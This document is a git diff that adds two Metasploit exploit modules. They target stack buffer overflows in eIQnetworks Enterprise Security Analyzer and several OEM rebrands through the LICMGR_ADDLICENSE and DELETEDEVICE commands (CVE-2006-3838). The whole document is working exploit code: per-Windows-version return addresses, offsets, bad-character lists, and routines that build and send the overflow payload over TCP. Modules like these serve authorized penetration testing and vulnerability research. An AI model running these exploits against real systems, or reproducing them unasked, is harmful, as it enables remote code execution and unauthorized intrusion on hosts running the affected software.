diff --git a/modules/exploits/windows/misc/eiqnetworks_esa.rb b/modules/exploits/windows/misc/eiqnetworks_esa.rb new file mode 100644 index 0000000000..e403f5f011 --- /dev/null +++ b/modules/exploits/windows/misc/eiqnetworks_esa.rb @@ -0,0 +1,93 @@ +require 'msf/core' + +module Msf + +class Exploits::Windows::Misc::Eiqnetworks_LICMGR_ADDLICENSE < Msf::Exploit::Remote + + include Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'eIQNetworks ESA License Manager LICMGR_ADDLICENSE Overflow', + 'Description' => %q{ + This module exploits a stack overflow in eIQnetworks + Enterprise Security Analyzer. During the processing of + long arguments to the LICMGR_ADDLICENSE command, a stack-based + buffer overflow occurs. This module has only been tested + against ESA v2.1.13. + }, + 'Authors' => [ 'MC', 'ri0t ', 'KF ' ], + 'Version' => '$Revision: 1.0 $', + 'References' => + [ + ['CVE', '2006-3838'], + ['BID', '19163'], + ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-06-024.html'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh', + }, + 'Payload' => + { + 'Space' => 400, + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", + }, + 'Platform' => 'win', + + 'Targets' => + [ + ['EnterpriseSecurityAnalyzerv21 Universal', { 'Ret' => 0x00448187, 'Offset' => 494 } ], + + ['EiQ Enterprise Security Analyzer Offset 494 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 494 } ], # call ebx + ['EiQ Enterprise Security Analyzer Offset 494 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 494 } ], # jmp ebx + ['EiQ Enterprise Security Analyzer Offset 494 Windows Server 2003 SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 494 } ], # jmp EBX + ['Astaro Report Manager (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ], + ['Astaro Report Manager (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ], + ['Astaro Report Manager (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ], + ['Fortinet FortiReporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ], + ['Fortinet FortiReporter (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ], + ['Fortinet FortiReporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1',{ 'Ret' => 0x77d16764, 'Offset' => 1262 } ], + ['iPolicy Security Reporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ], + ['iPolicy Security Reporter (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ], + ['iPolicy Security Reporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ], + ['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ], + ['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ], + ['SanMina Viking Multi-Log Manager (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ], + ['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ], + ['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ], + ['Secure Computing G2 Security Reporter (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ], + ['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows 2000 SP0-SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 1262 } ], + ['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows XP English SP1/SP2', { 'Ret' => 0x77db64dc, 'Offset' => 1262 } ], + ['Top Layer Network Security Analyzer (OEM) Offset 1262 Windows Server 2003 English SP0/SP1', { 'Ret' => 0x77d16764, 'Offset' => 1262 } ], + ], + + 'Privileged' => false, + + 'DisclosureDate' => 'July 24 2006' + + )) + + register_options( + [ + Opt::RPORT(10616) + ], self.class) + end + + def exploit + connect + + print_status("Trying target #{target.name}...") + + filler = Rex::Text.rand_text_english(1) * (target['Offset'] - payload.encoded.length) + sploit = "LICMGR_ADDLICENSE&" + filler + payload.encoded + [target.ret].pack('V') + "&"; + + sock.put(sploit) + + handler + disconnect + end + +end +end diff --git a/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb new file mode 100644 index 0000000000..a7f8c6fc85 --- /dev/null +++ b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb @@ -0,0 +1,75 @@ +require 'msf/core' + +module Msf + +class Exploits::Windows::Misc::Eiqnetworks_Esa_Topology_DELETEDEVICE < Msf::Exploit::Remote + + include Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'eIQNetworks ESA Topology DELETEDEVICE Overflow', + 'Description' => %q{ + This module exploits a stack overflow in eIQnetworks + Enterprise Security Analyzer. During the processing of + long arguments to the DELETEDEVICE command in the Topology + server, a stacked based buffer overflow occurs. + + This module has only been tested against ESA v2.1.13. + + }, + 'Author' => 'MC', + 'Version' => '$Revision: 1.0 $', + 'References' => + [ + ['BID', '19164'], + ['CVE', '2006-3838'], + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh', + }, + 'Payload' => + { + 'Space' => 250, + 'BadChars' => "\x00\x0a\x0d\x20", + 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", + }, + 'Platform' => 'win', + + 'Targets' => + [ + [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ], + [ 'Windows XP SP2 English', { 'Ret' => 0x77d57447 } ], + [ 'Windows 2003 SP1 English', { 'Ret' => 0x773b24da } ], + ], + + 'Privileged' => false, + + 'DisclosureDate' => 'July 25 2006' + + )) + + register_options( + [ + Opt::RPORT(10628) + ], self.class) + end + + def exploit + connect + + print_status("Trying target #{target.name}...") + + filler = Rex::Text.rand_text_alphanumeric(128) + [target.ret].pack('V') + make_nops(20) + + sploit = "DELETEDEVICE&" + filler + payload.encoded + + sock.put(sploit) + + handler + disconnect + end + +end +end